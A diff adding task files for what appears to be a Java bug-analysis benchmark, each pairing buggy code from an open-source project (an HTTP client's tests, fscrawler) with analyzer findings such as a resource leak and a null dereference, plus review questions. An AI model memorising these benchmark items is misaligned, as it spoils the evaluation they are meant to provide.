+    HttpRequest.append("http://test.com", "1");
+  }
+
+  /**
+   * Append with base URL already containing a '?'
+   */
+  @Test
+  public void appendMappedQueryParamsWithExistingQueryStart() {
+    assertEquals(
+        "http://test.com/1?a=b",
+        HttpRequest.append("http://test.com/1?",
+            Collections.singletonMap("a", "b")));
+  }
+
+  /**
+   * Append with base URL already containing a '?'
+   */
+  @Test
+  public void appendVarargsQueryParamsWithExistingQueryStart() {
+    assertEquals("http://test.com/1?a=b",
+        HttpRequest.append("http://test.com/1?", "a", "b"));
+  }
+
+  /**
+   * Append with base URL already containing a '?'
+   */
+  @Test
+  public void appendMappedQueryParamsWithExistingParams() {
+    assertEquals(
+        "http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1?a=b",
+            Collections.singletonMap("c", "d")));
+    assertEquals(
+        "http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1?a=b&",
+            Collections.singletonMap("c", "d")));
+
+  }
+
+  /**
+   * Append with base URL already containing a '?'
+   */
+  @Test
+  public void appendWithVarargsQueryParamsWithExistingParams() {
+    assertEquals("http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1?a=b", "c", "d"));
+    assertEquals("http://test.com/1?a=b&c=d",
+        HttpRequest.append("http://test.com/1?a=b&", "c", "d"));
+  }
+
+  /**
+   * Get a 500
+   *
+   * @throws Exception
+   */
+  @Test
+  public void serverErrorCode() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_INTERNAL_ERROR);
+      }
+    };
+    HttpRequest request = get(url);
+    assertNotNull(request);
+    assertTrue(request.serverError());
+  }
+
+  /**
+   * Get a 400
+   *
+   * @throws Exception
+   */
+  @Test
+  public void badRequestCode() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_BAD_REQUEST);
+      }
+    };
+    HttpRequest request = get(url);
+    assertNotNull(request);
+    assertTrue(request.badRequest());
+  }
+
+  /**
+   * Get a 304
+   *
+   * @throws Exception
+   */
+  @Test
+  public void notModifiedCode() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_NOT_MODIFIED);
+      }
+    };
+    HttpRequest request = get(url);
+    assertNotNull(request);
+    assertTrue(request.notModified());
+  }
+
+  /**
+   * Verify data is sent when receiving response without first calling
+   * {@link HttpRequest#code()}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendReceiveWithoutCode() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        try {
+          response.getWriter().write("world");
+        } catch (IOException ignored) {
+          // Ignored
+        }
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest request = post(url).ignoreCloseExceptions(false);
+    assertEquals("world", request.send("hello").body());
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Verify data is send when receiving response headers without first calling
+   * {@link HttpRequest#code()}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendHeadersWithoutCode() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setHeader("h1", "v1");
+        response.setHeader("h2", "v2");
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest request = post(url).ignoreCloseExceptions(false);
+    Map<String, List<String>> headers = request.send("hello").headers();
+    assertEquals("v1", headers.get("h1").get(0));
+    assertEquals("v2", headers.get("h2").get(0));
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Verify data is send when receiving response date header without first
+   * calling {@link HttpRequest#code()}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendDateHeaderWithoutCode() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setDateHeader("Date", 1000);
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest request = post(url).ignoreCloseExceptions(false);
+    assertEquals(1000, request.send("hello").date());
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Verify data is send when receiving response integer header without first
+   * calling {@link HttpRequest#code()}
+   *
+   * @throws Exception
+   */
+  @Test
+  public void sendIntHeaderWithoutCode() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setIntHeader("Width", 9876);
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest request = post(url).ignoreCloseExceptions(false);
+    assertEquals(9876, request.send("hello").intHeader("Width"));
+    assertEquals("hello", body.get());
+  }
+
+  /**
+   * Verify custom connection factory
+   */
+  @Test
+  public void customConnectionFactory() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    ConnectionFactory factory = new ConnectionFactory() {
+
+      public HttpURLConnection create(URL otherUrl) throws IOException {
+        return (HttpURLConnection) new URL(url).openConnection();
+      }
+
+      public HttpURLConnection create(URL url, Proxy proxy) throws IOException {
+        throw new IOException();
+      }
+    };
+
+    HttpRequest.setConnectionFactory(factory);
+    int code = get("http://not/a/real/url").code();
+    assertEquals(200, code);
+  }
+
+  /**
+   * Verify setting a null connection factory restores to the default one
+   */
+  @Test
+  public void nullConnectionFactory() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    HttpRequest.setConnectionFactory(null);
+    int code = get(url).code();
+    assertEquals(200, code);
+  }
+
+  /**
+   * Verify reading response body for empty 200
+   *
+   * @throws Exception
+   */
+  @Test
+  public void streamOfEmptyOkResponse() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(200);
+      }
+    };
+    assertEquals("", get(url).body());
+  }
+
+  /**
+   * Verify reading response body for empty 400
+   *
+   * @throws Exception
+   */
+  @Test
+  public void bodyOfEmptyErrorResponse() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_BAD_REQUEST);
+      }
+    };
+    assertEquals("", get(url).body());
+  }
+
+  /**
+   * Verify reading response body for non-empty 400
+   *
+   * @throws Exception
+   */
+  @Test
+  public void bodyOfNonEmptyErrorResponse() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_BAD_REQUEST);
+        try {
+          response.getWriter().write("error");
+        } catch (IOException ignored) {
+          // Ignored
+        }
+      }
+    };
+    assertEquals("error", get(url).body());
+  }
+
+  /**
+   * Verify progress callback when sending a file
+   *
+   * @throws Exception
+   */
+  @Test
+  public void progressCallbackSend() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    final File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+
+    final AtomicInteger tx = new AtomicInteger(0);
+    ProgressCallback progress = new ProgressCallback() {
+      public void onProgress(int transferred, int total) {
+        assertEquals(file.length(), total);
+        assertEquals(tx.incrementAndGet(), transferred);
+      }
+    };
+    post(url).bufferSize(1).progress(progress).send(file);
+    assertEquals(file.length(), tx.get());
+  }
+
+  /**
+   * Verify progress callback when sending from an InputStream
+   *
+   * @throws Exception
+   */
+  @Test
+  public void progressCallbackSendInputStream() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+    InputStream input = new FileInputStream(file);
+    final AtomicInteger tx = new AtomicInteger(0);
+    ProgressCallback progress = new ProgressCallback() {
+      public void onProgress(int transferred, int total) {
+        assertEquals(0, total);
+        assertEquals(tx.incrementAndGet(), transferred);
+      }
+    };
+    post(url).bufferSize(1).progress(progress).send(input);
+    assertEquals(file.length(), tx.get());
+  }
+
+  /**
+   * Verify progress callback when sending from a Reader
+   *
+   * @throws Exception
+   */
+  @Test
+  public void progressCallbackSendReader() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+
+    final AtomicInteger tx = new AtomicInteger(0);
+    ProgressCallback progress = new ProgressCallback() {
+      public void onProgress(int transferred, int total) {
+        assertEquals(-1, total);
+        assertEquals(tx.incrementAndGet(), transferred);
+      }
+    };
+    File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+    post(url).progress(progress).bufferSize(1).send(new FileReader(file));
+    assertEquals(file.length(), tx.get());
+  }
+
+  /**
+   * Verify progress callback when receiving to a Writer
+   *
+   * @throws Exception
+   */
+  @Test
+  public void progressCallbackReceive() throws Exception {
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        response.setStatus(HTTP_OK);
+        try {
+          response.getWriter().print("content");
+        } catch (IOException e) {
+          fail();
+        }
+      }
+    };
+    ProgressCallback progress = new ProgressCallback() {
+      int tx = 1;
+
+      public void onProgress(int transferred, int total) {
+        assertEquals(-1, total);
+        assertEquals(tx++, transferred);
+      }
+    };
+    StringWriter writer = new StringWriter();
+    post(url).progress(progress).bufferSize(1).receive(writer);
+  }
+
+  /**
+   * Verify progress callback doesn't cause an exception when it's null
+   *
+   * @throws Exception
+   */
+  @Test
+  public void nullProgressCallback() throws Exception {
+    final AtomicReference<String> body = new AtomicReference<String>();
+    handler = new RequestHandler() {
+
+      @Override
+      public void handle(Request request, HttpServletResponse response) {
+        body.set(new String(read()));
+        response.setStatus(HTTP_OK);
+      }
+    };
+    File file = File.createTempFile("post", ".txt");
+    new FileWriter(file).append("hello").close();
+    int code = post(url).progress(null).send(file).code();
+    assertEquals(HTTP_OK, code);
+    assertEquals("hello", body.get());
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.github.kevinsawicki.http.HttpRequest$RequestOutputStream` acquired by call to `send(...)` at line 3519 is not released after line 3519.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HttpRequestTest.progressCallbackSendInputStream()
+
+### Procedure Id:
+com.github.kevinsawicki.http.HttpRequestTest.progressCallbackSendInputStream():void.dc3195443ce7cac3c65e73671f267f65
+
+### File:
+lib/src/test/java/com/github/kevinsawicki/http/HttpRequestTest.java
+
+### Key:
+HttpRequestTest.java|progressCallbackSendInputStream|RESOURCE_LEAK
+
+### Node Key:
+85e9fca5019395547dab21ac487d45be
+
+### Hash:
+b0c2385076febde5261fd0a157b45188
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8533/instruction.md b/inferredbugs-8533/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cb3f1b945138dfdca6bf5e521b1a5af7a9bdb233
--- /dev/null
+++ b/inferredbugs-8533/instruction.md
@@ -0,0 +1,163 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fscrawler
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to David Pilato (the "Author") under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. Author licenses this
+ * file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package fr.pilato.elasticsearch.crawler.fs.fileabstractor;
+
+import fr.pilato.elasticsearch.crawler.fs.meta.settings.FsSettings;
+import fr.pilato.elasticsearch.crawler.fs.util.FsCrawlerUtil;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.time.Instant;
+import java.util.ArrayList;
+import java.util.Collection;
+
+public class FileAbstractorFile extends FileAbstractor<File> {
+    public FileAbstractorFile(FsSettings fsSettings) {
+        super(fsSettings);
+    }
+
+    @Override
+    public FileAbstractModel toFileAbstractModel(String path, File file) {
+        FileAbstractModel model = new FileAbstractModel();
+        model.name = file.getName();
+        model.file = file.isFile();
+        model.directory = !model.file;
+        model.lastModifiedDate = Instant.ofEpochMilli(file.lastModified());
+        model.creationDate = FsCrawlerUtil.getCreationTime(file);
+        model.path = path;
+        model.fullpath = file.getAbsolutePath();
+        model.size = file.length();
+        model.owner = FsCrawlerUtil.getOwnerName(file);
+        model.group = FsCrawlerUtil.getGroupName(file);
+
+        return model;
+    }
+
+    @Override
+    public InputStream getInputStream(FileAbstractModel file) throws Exception {
+        return new FileInputStream(new File(file.fullpath));
+    }
+
+    @Override
+    public Collection<FileAbstractModel> getFiles(String dir) {
+        if (logger.isDebugEnabled()) logger.debug("Listing local files from {}", dir);
+        File[] files = new File(dir).listFiles();
+
+        Collection<FileAbstractModel> result = new ArrayList<>(files.length);
+
+        // Iterate other files
+        for (File file : files) {
+            result.add(toFileAbstractModel(dir, file));
+        }
+
+        if (logger.isDebugEnabled()) logger.debug("{} local files found", result.size());
+        return result;
+    }
+
+    @Override
+    public boolean exists(String dir) throws Exception {
+        return new File(dir).exists();
+    }
+
+    @Override
+    public void open() throws Exception {
+
+    }
+
+    @Override
+    public void close() throws Exception {
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `files` last assigned on line 62 could be null and is dereferenced at line 64.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Collection FileAbstractorFile.getFiles(String)
+
+### Procedure Id:
+fr.pilato.elasticsearch.crawler.fs.fileabstractor.FileAbstractorFile.getFiles(java.lang.String):java.82be8905275237c22c29c313d58adb61
+
+### File:
+src/main/java/fr/pilato/elasticsearch/crawler/fs/fileabstractor/FileAbstractorFile.java
+
+### Key:
+FileAbstractorFile.java|getFiles|NULL_DEREFERENCE
+
+### Node Key:
+95b6990c60ada383dc3db02b59d65f16
+
+### Hash:
+d7e311f95c7f10e4109fea0f13e38a38
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8534/instruction.md b/inferredbugs-8534/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5fe5b326cd491c06737c968923352fda393b12f6
--- /dev/null
+++ b/inferredbugs-8534/instruction.md
@@ -0,0 +1,590 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fscrawler
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to David Pilato (the "Author") under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. Author licenses this
+ * file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package fr.pilato.elasticsearch.crawler.fs.test.integration;
+
+import com.carrotsearch.randomizedtesting.annotations.ThreadLeakFilters;
+import com.carrotsearch.randomizedtesting.annotations.ThreadLeakLingering;
+import com.carrotsearch.randomizedtesting.annotations.ThreadLeakScope;
+import fr.pilato.elasticsearch.containers.ElasticsearchContainer;
+import fr.pilato.elasticsearch.crawler.fs.client.ElasticsearchClient;
+import fr.pilato.elasticsearch.crawler.fs.framework.TimeValue;
+import fr.pilato.elasticsearch.crawler.fs.rest.RestJsonProvider;
+import fr.pilato.elasticsearch.crawler.fs.settings.Elasticsearch;
+import fr.pilato.elasticsearch.crawler.fs.settings.Rest;
+import fr.pilato.elasticsearch.crawler.fs.test.framework.AbstractFSCrawlerTestCase;
+import fr.pilato.elasticsearch.crawler.fs.test.framework.TestContainerThreadFilter;
+import org.apache.http.HttpHost;
+import org.apache.http.auth.AuthScope;
+import org.apache.http.auth.UsernamePasswordCredentials;
+import org.apache.http.client.CredentialsProvider;
+import org.apache.http.impl.client.BasicCredentialsProvider;
+import org.apache.logging.log4j.Level;
+import org.elasticsearch.Version;
+import org.elasticsearch.action.main.MainResponse;
+import org.elasticsearch.action.search.SearchRequest;
+import org.elasticsearch.action.search.SearchResponse;
+import org.elasticsearch.client.RestClient;
+import org.elasticsearch.client.RestClientBuilder;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.media.multipart.FormDataMultiPart;
+import org.glassfish.jersey.media.multipart.MultiPartFeature;
+import org.hamcrest.Matcher;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.testcontainers.containers.wait.HttpWaitStrategy;
+
+import javax.ws.rs.client.Client;
+import javax.ws.rs.client.ClientBuilder;
+import javax.ws.rs.client.Entity;
+import javax.ws.rs.client.WebTarget;
+import javax.ws.rs.core.MediaType;
+import java.io.File;
+import java.io.IOException;
+import java.net.ConnectException;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.nio.file.FileVisitResult;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.nio.file.SimpleFileVisitor;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.time.Duration;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Stream;
+
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.copyDefaultResources;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.copyDirs;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.unzip;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.containsString;
+import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.not;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
+
+/**
+ * Integration tests are using Docker behind the scene to start an elasticsearch instance
+ * running by default locally on 127.0.0.1:9200
+ *
+ * Note that all existing data in this cluster might be removed
+ *
+ * If you want to run tests against a remote cluster, please launch tests using
+ * tests.cluster.host and tests.cluster.port properties:
+ *
+ * mvn clean install -Dtests.cluster.host=127.0.0.1 -Dtests.cluster.port=9400
+ *
+ * When tests.cluster.host is set, the internal Docker container is not ran anymore.
+ *
+ * You can choose running against http or https with tests.cluster.scheme (defaults to HTTP):
+ *
+ * mvn clean install -Dtests.cluster.scheme=HTTPS
+ *
+ * If the cluster is running with x-pack and using the default username and passwords
+ * of x-pack, tests can be run as well. You can overwrite default username and password
+ * with tests.cluster.user and tests.cluster.password
+ *
+ * mvn clean install -Dtests.cluster.user=elastic -Dtests.cluster.pass=changeme
+ *
+ * All integration tests might be skipped if the cluster is not running
+ */
+@ThreadLeakFilters(filters = {TestContainerThreadFilter.class})
+@ThreadLeakScope(ThreadLeakScope.Scope.SUITE)
+@ThreadLeakLingering(linger = 5000) // 5 sec lingering
+public abstract class AbstractITCase extends AbstractFSCrawlerTestCase {
+
+    static Path metadataDir = null;
+
+    private static ElasticsearchContainer container;
+    private static RestClient esRestClient;
+
+    @BeforeClass
+    public static void createFsCrawlerJobDir() throws IOException, URISyntaxException {
+        // We also need to create default mapping files
+        metadataDir = rootTmpDir.resolve(".fscrawler");
+        if (Files.notExists(metadataDir)) {
+            Files.createDirectory(metadataDir);
+        }
+        copyDefaultResources(metadataDir);
+        staticLogger.debug("  --> Test metadata dir ready in [{}]", metadataDir);
+    }
+
+    @AfterClass
+    public static void printMetadataDirContent() throws IOException {
+        // If something goes wrong while initializing, we might have no metadataDir at all.
+        if (metadataDir != null) {
+            staticLogger.debug("ls -l {}", metadataDir);
+            Files.list(metadataDir).forEach(path -> staticLogger.debug("{}", path));
+        }
+    }
+
+    private final static Integer DEFAULT_TEST_CLUSTER_PORT = 9200;
+    private final static String DEFAULT_USERNAME = "elastic";
+    private final static String DEFAULT_PASSWORD = "changeme";
+    private final static Integer DEFAULT_TEST_REST_PORT = 8080;
+
+    static ElasticsearchClient elasticsearchClient;
+
+    private static String testClusterHost;
+    private static int testClusterPort;
+    private final static String testClusterUser = System.getProperty("tests.cluster.user", DEFAULT_USERNAME);
+    private final static String testClusterPass = System.getProperty("tests.cluster.pass", DEFAULT_PASSWORD);
+    private final static Elasticsearch.Node.Scheme testClusterScheme = Elasticsearch.Node.Scheme.parse(System.getProperty("tests.cluster.scheme", Elasticsearch.Node.Scheme.HTTP.toString()));
+    final static int testRestPort = Integer.parseInt(System.getProperty("tests.rest.port", DEFAULT_TEST_REST_PORT.toString()));
+    static Elasticsearch elasticsearchWithSecurity;
+
+    private static WebTarget target;
+    private static Client client;
+
+    @BeforeClass
+    public static void copyResourcesToTestDir() throws IOException {
+        Path testResourceTarget = rootTmpDir.resolve("resources");
+        if (Files.notExists(testResourceTarget)) {
+            staticLogger.debug("  --> Creating test resources dir in [{}]", testResourceTarget);
+            Files.createDirectory(testResourceTarget);
+        }
+
+        // We copy files from the src dir to the temp dir
+        copyTestDocumentsToTargetDir(testResourceTarget, "documents", "/fscrawler-test-documents-marker.txt");
+
+        staticLogger.debug("  --> Test resources ready in [{}]:", testResourceTarget);
+    }
+
+    /**
+     * Copy test documents to the test dir so we will be able to run tests against them
+     * @param target            target directory.
+     * @param sourceDirName     source subdir name where files will be copied or extracted to.
+     * @param marker            one of the filename which is available in the classpath which contains
+     *                          the test documents or within a jar
+     * @throws IOException In case of IO problem
+     */
+    private static void copyTestDocumentsToTargetDir(Path target, String sourceDirName, String marker) throws IOException {
+        URL resource = AbstractFSCrawlerTestCase.class.getResource(marker);
+
+        switch (resource.getProtocol()) {
+            case "file": {
+                Path finalTarget = target.resolve(sourceDirName);
+                if (Files.notExists(finalTarget)) {
+                    staticLogger.debug("  --> Creating test dir named [{}]", finalTarget);
+                    Files.createDirectory(finalTarget);
+                }
+                // We are running our tests from the IDE most likely and documents are directly available in the classpath
+                Path source = Paths.get(resource.getPath()).getParent().resolve(sourceDirName);
+                if (Files.notExists(source)) {
+                    staticLogger.error("directory [{}] should be copied to [{}]", source, target);
+                    throw new RuntimeException(source + " doesn't seem to exist. Check your JUnit tests.");
+                }
+
+                staticLogger.info("-> Copying test documents from [{}] to [{}]", source, finalTarget);
+                copyDirs(source, finalTarget);
+                break;
+            }
+            case "jar": {
+                if (Files.notExists(target)) {
+                    staticLogger.debug("  --> Creating test dir named [{}]", target);
+                    Files.createDirectory(target);
+                }
+                // We are running our tests from the CLI most likely and documents are provided within a JAR as a dependency
+                String fileInJar = resource.getPath();
+                int i = fileInJar.indexOf("!/");
+                String jarFile = fileInJar.substring(0, i);
+
+                staticLogger.info("-> Unzipping test documents from [{}] to [{}]", jarFile, target);
+                unzip(jarFile, target);
+                break;
+            }
+            default:
+                fail("Unknown protocol for IT document sources: " + resource.getProtocol());
+                break;
+        }
+    }
+
+    @BeforeClass
+    public static void startElasticsearchRestClient() throws IOException {
+        testClusterPort = Integer.parseInt(System.getProperty("tests.cluster.port", DEFAULT_TEST_CLUSTER_PORT.toString()));
+        testClusterHost = System.getProperty("tests.cluster.host");
+
+        if (testClusterHost == null) {
+            // We start an elasticsearch Docker instance
+            Properties props = new Properties();
+            props.load(AbstractITCase.class.getResourceAsStream("/elasticsearch.version.properties"));
+            container = new ElasticsearchContainer().withVersion(props.getProperty("version"));
+            container.withEnv("ELASTIC_PASSWORD", testClusterPass);
+            container.setWaitStrategy(
+                    new HttpWaitStrategy()
+                            .forStatusCode(200)
+                            .withBasicCredentials(testClusterUser, testClusterPass)
+                            .withStartupTimeout(Duration.ofSeconds(90)));
+            container.start();
+
+            testClusterHost = container.getHost().getHostName();
+            testClusterPort = container.getFirstMappedPort();
+        } else {
+            testClusterPort = Integer.parseInt(System.getProperty("tests.cluster.port", DEFAULT_TEST_CLUSTER_PORT.toString()));
+        }
+
+        if (testClusterHost == null) {
+            Thread.dumpStack();
+        }
+
+        // We build the elasticsearch High Level Client based on the parameters
+        elasticsearchClient = new ElasticsearchClient(getClientBuilder(
+                new HttpHost(testClusterHost, testClusterPort), testClusterUser, testClusterPass));
+        elasticsearchWithSecurity = Elasticsearch.builder()
+                .addNode(Elasticsearch.Node.builder()
+                        .setHost(testClusterHost).setPort(testClusterPort).setScheme(testClusterScheme).build())
+                .setUsername(testClusterUser)
+                .setPassword(testClusterPass)
+                .build();
+
+        // We make sure the cluster is running
+        testClusterRunning();
+
+        // We set what will be elasticsearch behavior as it depends on the cluster version
+        elasticsearchClient.setElasticsearchBehavior();
+    }
+
+    @BeforeClass
+    public static void startRestClient() {
+        // create the client
+        client = ClientBuilder.newBuilder()
+                .register(MultiPartFeature.class)
+                .register(RestJsonProvider.class)
+                .register(JacksonFeature.class)
+                .build();
+
+        target = client.target(Rest.builder().setPort(testRestPort).build().url());
+    }
+
+    @AfterClass
+    public static void stopRestClient() throws IOException {
+        if (client != null) {
+            client.close();
+            client = null;
+        }
+
+        if (esRestClient != null) {
+            esRestClient.close();
+            esRestClient = null;
+        }
+
+        if (container != null) {
+            container.close();
+            container = null;
+        }
+    }
+
+    private static RestClientBuilder getClientBuilder(HttpHost host, String username, String password) {
+        final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
+        credentialsProvider.setCredentials(AuthScope.ANY,
+                new UsernamePasswordCredentials(username, password));
+
+        return RestClient.builder(host)
+                .setHttpClientConfigCallback(httpClientBuilder -> httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider));
+    }
+
+    private static void testClusterRunning() throws IOException {
+        try {
+            MainResponse info = elasticsearchClient.info();
+            staticLogger.info("Starting integration tests against an external cluster running elasticsearch [{}]", info.getVersion());
+        } catch (ConnectException e) {
+            // If we have an exception here, let's ignore the test
+            staticLogger.warn("Integration tests are skipped: [{}]", e.getMessage());
+            assumeThat("Integration tests are skipped", e.getMessage(), not(containsString("Connection refused")));
+        }
+    }
+
+    @AfterClass
+    public static void stopElasticsearchClient() throws IOException {
+        staticLogger.info("Stopping integration tests against an external cluster");
+        if (elasticsearchClient != null) {
+            elasticsearchClient.shutdown();
+            elasticsearchClient = null;
+            staticLogger.info("Elasticsearch client stopped");
+        }
+    }
+
+    private static final String testCrawlerPrefix = "fscrawler_";
+
+    static Elasticsearch generateElasticsearchConfig(String indexName, String indexFolderName, int bulkSize,
+                                                     TimeValue timeValue) {
+        Elasticsearch.Builder builder = Elasticsearch.builder()
+                .addNode(Elasticsearch.Node.builder().setHost(testClusterHost).setPort(testClusterPort).setScheme(testClusterScheme).build())
+                .setBulkSize(bulkSize);
+
+        if (indexName != null) {
+            builder.setIndex(indexName);
+        }
+        if (indexFolderName != null) {
+            builder.setIndexFolder(indexFolderName);
+        }
+
+        if (timeValue != null) {
+            builder.setFlushInterval(timeValue);
+        }
+
+        builder.setUsername(testClusterUser);
+        builder.setPassword(testClusterPass);
+
+        return builder.build();
+    }
+
+    protected static void refresh() throws IOException {
+        elasticsearchClient.refresh(null);
+    }
+
+    /**
+     * Check that we have the expected number of docs or at least one if expected is null
+     *
+     * @param request   Elasticsearch request to run.
+     * @param expected  expected number of docs. Null if at least 1.
+     * @param path      Path we are supposed to scan. If we have not accurate results, we display its content
+     * @return the search response if further tests are needed
+     * @throws Exception in case of error
